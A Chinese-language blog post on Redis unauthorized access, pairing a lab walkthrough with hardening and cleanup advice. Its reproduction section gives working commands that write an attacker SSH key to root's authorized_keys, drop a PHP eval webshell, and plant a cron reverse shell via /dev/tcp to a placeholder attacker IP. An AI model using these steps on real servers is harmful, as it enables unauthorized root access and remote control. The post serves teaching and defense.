Redis Vulnerability Exploitation and Security Hardening
2024-04-21 02:41:58

0x00 导语

最近审计代码发现项目大部分用到redis还是比较多的,出于好奇心,索性查了一下发现redis特色是未授权访问,遂查阅了相关资料总结学习了一通,下文将从“是什么”、“为什么”、“怎么做”,三个发问方向出发来介绍。本着学习的态度总结,写下这篇,还请各位大佬斧正。

0x01 redis是什么

Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:

  • 基于内存运行,性能高效
  • 支持分布式,理论上可以无限扩展
  • key-value存储系统
  • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

相比于其他数据库类型,Redis具备的特点是:

  • C/S通讯模型
  • 单进程单线程模型
  • 丰富的数据类型
  • 操作具有原子性
  • 持久化
  • 高并发读写
  • 支持lua脚本

Redis 的应用场景包括:

  • 支持lua脚本
  • 缓存系统(“热点”数据:高频读、低频写)
  • 计数器
  • 消息队列系统
  • 排行榜
  • 社交网络
  • 实时系统

0x02 redis未授权访问漏洞是什么

redis未授权访问指由于缺少相关策略导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis数据。

0x03 redis未授权访问漏洞的危害是什么

  1. 攻击者利用未授权访问,导致内部数据敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
  2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  3. 最严重的情况(redis crackit):如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

综上所述,攻击者可以在未授权访问的情况下,利用redis自身提供的CONFIG命令进行写文件操作。

0x04 为什么会产生redis未授权访问漏洞

  1. redis默认绑定在6379端口,如果没有添加防火墙规则来进行限制非信任ip访问等,会导致redis服务直接暴露在公网上
  2. 未设置安全认证,即密码认证(一般为空),可以免密远程登录redis服务
  3. 使用root权限操作redis

0x05 漏洞复现怎么做

复现操作:

  1. 利用“公私钥”认证获得root权限
  2. GetShell
  3. 反弹shell

主机环境:

攻击机(kali):192.168.171.129(需要自己搭建redis-cli,命令:sudo apt-get install redis)

靶机(centos):39.107.136.50(本人的服务器,仅供参考)

环境搭建:

  1. 从官网下载redis压缩包。
1
wget http://download.redis.io/releases/redis-2.8.17.tar.gz 
  1. 解压
1
tar -zxvf redis-2.8.17.tar.gz

1

  1. 安装
1
2
cd redis-2.8.17
make
  1. 进入src目录下,将redis-server和redis-cli拷贝到/usr/bin目录下
1
2
3
cd src/
cp redis-server /usr/bin
cp redis-cli /usr/bin
  1. 返回上一级目录将redis-2.8.17目录下面的redis.conf拷贝到/etc下面
1
cp redis.conf /etc/redis.conf
  1. 启动服务
1
redis-server /etc/redis.conf

2

漏洞复现:

利用SSH公钥文件获得root权限

  1. 检查防火墙状态(靶机这里为开启)

3

  1. 攻击机未授权访问连接
1
2
redis-cli -h 39.107.136.50
keys *

4

  1. 在攻击机中生成ssh公钥和私钥,密码设置为空
1
ssh-keygen -t rsa

5

  1. 进入.ssh目录,将生成的公钥保存为evil.txt
1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > evil.txt

6

  1. 将保存ssh的公钥evil.txt写入redis
1
cat evil.txt | redis-cli -h 39.107.136.50 -x set crack

7

  1. 确认redis的备份路径
1
CONFIG GET dir

8

  1. 更改redis备份路径为ssh公钥存放目录(默认为/root/.ssh)
1
CONFIG SET dir /root/.ssh

9

  1. 修改上传公钥文件的名称为authorized_keys(为了让两个linux机器之间使用ssh不需要用户名和密码)
1
CONFIG SET dbfiname authorized_keys

10

  1. 检查ssh公钥是否写入成功
1
2
//攻击机角度
CONFIG GET dbfilename

11

1
2
//靶机角度cd .ssh/
ls

13

10、保存退出

1
2
save
exit

12

11、通过攻击机成功登录靶机

1
ssh -i id_rsa [email protected]

14

如果登录不成功,可能存在靶机ssh端口被更改的情况,解决如下:

1
2
3
//打开ssh配置文件vim /etc/ssh/sshd_config 
//修改port为22
Port=22//重新启动sshd即可service sshd restart

GetShell

  1. 设定写入目标为web建站目录下
1
CONFIG SET dir /www/wwwroot/lab.l0ki.top
  1. 设定要写入的文件为shell.php
1
CONFIG SET dbfilename shell.php
  1. 设定写入的内容
1
SET evil_shell_test "<?php @eval($_POST['hoornzhang']);?>"
  1. 保存
1
save

15

  1. 检测shell是否写入成功
1
2
3
cd /www/wwwroot/lab.l0ki.top
ls
cat shell.php

17

访问lab.l0ki.top/shell.php,发现已经被解析

16

反弹shell

简单叙述利用redis写入文件到周期性计划任务执行步骤:

  1. 在攻击机监听:
1
nc -lvnp 1234
  1. 给靶机写入命令:
1
2
3
4
set bounce_shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机ip/1234 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
  1. 进入靶机查看
1
2
cd /var/spool/cron
cat root

0x06 防御策略怎么做

主要从三方面入手:网络访问权限加固、服务端执行命令加固、账户执行权限加固

网络访问权限

  1. 设置防火墙

通过防火墙设置,禁止外网访问 Redis,充许业务ip访问,限制不必要ip访问,方法参考如下:

1
2
3
//如只允许192.168.1.*这一段C类地址访问,其他IP地址禁止访问:
iptables -A INPUT -s 192.168.1.0/24,127.0.0.0/16 -p tcp --dport 6379 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
  1. 加固redis.conf 文件

添加或修改,使得 Redis 服务只在当前主机可用

1
2
3
bind 127.0.0.1
//如果服务器有多个IP,可限定redis server监听的IP; 通过redis配置项bind,可同时绑定多个IP
注:在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
  1. 修改默认端口
    程序运行尽量避免使用熟知端口或默认端口,降低被初级扫描的风险。

修改配置文件redis.conf文件

1
2
Port 6379
//默认端口是6379,可以改变成其他不冲突的端口,如devcloud上ssh端口为36000

服务端执行命令加固

  1. 禁止高危命令

由于redis没有做基本的权限分离,没有管理账号、普通账户之分,所以登录之后无操作权限限制,因此需要将一些危险的操作隐藏起来,涉及的命令包括:
FLUSHDB, FLUSHALL, KEYS, PEXPIRE, DEL, CONFIG, SHUTDOWN, BGREWRITEAOF, BGSAVE, SAVE, SPOP, SREM, RENAME, DEBUG, EVAL
修改 redis.conf 文件,禁用远程修改 DB 文件地址

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

将config,flushdb,flushall设置为了空,即禁用该命令

  1. 重命名高危命令

修改redis.conf文件,改变这些高危命令的名称

1
2
3
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3”

账户执行权限加固

  1. 账户执行权限加固

设置单独的redis账户运行redis,redis crackit(上述漏洞)就利用root用户的特性来重置authorized_keys从而达到控制系统主机的目的。

策略如下:

1
2
//为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis

或者

1
2
3
//创建一个redis账户,然后通过该账户启动redis
su - redis -c " /redis/bin/redis-server /redis/etc/redis.conf"
//使用进程查看可见进程以redis运行ps aux|grep redis-server
  1. authorized_keys的权限加固

通过上述漏洞利用root用户的特性来重置authorized_keys,故我们应该阻止其他用户添加新的公钥。

1
2
3
4
//将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
//要防止authorized_keys的权限被更改,还需要设置该文件的隐藏权限(i)immutable权限:
chattr +i ~/.ssh/authorized_keys

注意此处用户还可以绕过:

用户可以重命名 ~/.ssh,再新建新的 ~/.ssh 目录和 authorized_keys 文件。

1
2
//要避免这种情况,需要设置 ~./ssh 的隐藏权限(i)immutable权限:
chattr +i ~/.ssh
  1. 开启密码认证

redis在redis.conf配置文件中,设置配置项requirepass, 开启密码认证

1
$vim/etc/redis/redis.conf

通过redis的特性我们可以知道,redis查询效率高,auth这种命令每秒能处理10w次以上,故如果设置弱密码则极容易被攻击者暴破成功。

1
requirepass至少长度20位以上,可使用一个特殊串sha256sum命令生成64位的无特殊字符串。
  1. 对redis文件目录作访问权限限制
1
2
3
chmod 700 redis的主目录
chmod 600 redis的配置文件
//注:明文密码存在redis.conf

0x07 进程异常时该怎么做

当发生进程异常时,如使用top命令发现root用户cpu占据高达99%,则很有可能存在木马程序或者被挖矿

检查异常进程

ps aux |grep 异常进程名

用netstat -anp查看异常网络连接进程

当确定为木马时,使用lsof -p 进程id 查看该启动程序路径

查杀

常见被感染文件路径:/root/、/tmp、 /bin、/usr/sbin、/sbin、/etc/init.d、/var/tmp

木马被写入启动项:/etc/init.d/

which 进程名 找到并进入该进程目录

通过kill -9 pid命令杀掉所有可疑木马进程

cat /dev/null>进程名 ;chattr +i 对应进程文件名

清除免密登录文件:/root/.ssh/authorized_keys

检查是否存在未知的新建系统账号,有则删除

修改常用账号密码

0x08 总结

本文着重总结利用过程以及防御策略,查阅了相关资料虽多,但会有不足和遗漏,还望各位大佬斧正,帮助我提高。

关机,下班。